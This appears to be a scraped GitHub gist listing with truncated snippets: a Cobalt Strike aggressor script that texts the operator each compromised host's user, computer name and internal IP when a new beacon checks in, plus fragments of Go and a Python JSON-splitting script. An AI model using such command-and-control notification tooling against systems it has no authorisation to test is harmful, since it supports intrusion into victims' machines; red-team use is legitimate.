This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Send a text message for new shells | |
# Replace HOSTNAME, USERNAME, PASSWORD and PHONE_NUMBER. | |
# Uses transmitsms.com so you'll need an account | |
on beacon_initial { | |
$user = beacon_data($1) ["user"]; | |
$computer = beacon_data($1) ["computer"]; | |
$internalIP = replace(beacon_info($1,"internal")," ","_"); | |
$msg = "New Beacon " . $user . "@" . $computer . " (" . $internalIP . ") on HOSTNAME Teamserver"; | |
exec(@('curl','-X','GET','-G','--url','https://api.transmitsms.com/send-sms.json','-u','USERNAME:PASSWORD','--data-urlencode','message=' . $msg,'-d','to=PHONE_NUMBER')); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"log" | |
"net/http" | |
"os" | |
"strings" | |
// "net/url" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# Based on https://gist.github.com/deltronzero/7c23bacf97b4b61c7a2f2950ef6f35d8 | |
# pip install simplejson | |
import simplejson | |
import sys | |
def splitfile(file_name, object_limit): | |
print(f"[*] Loading {file_name}") | |
with open(file_name) as f: | |
data = simplejson.load(f) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"fmt" | |
"io/ioutil" | |
"net/http" | |
"net/url" | |
"os" | |
"sync" |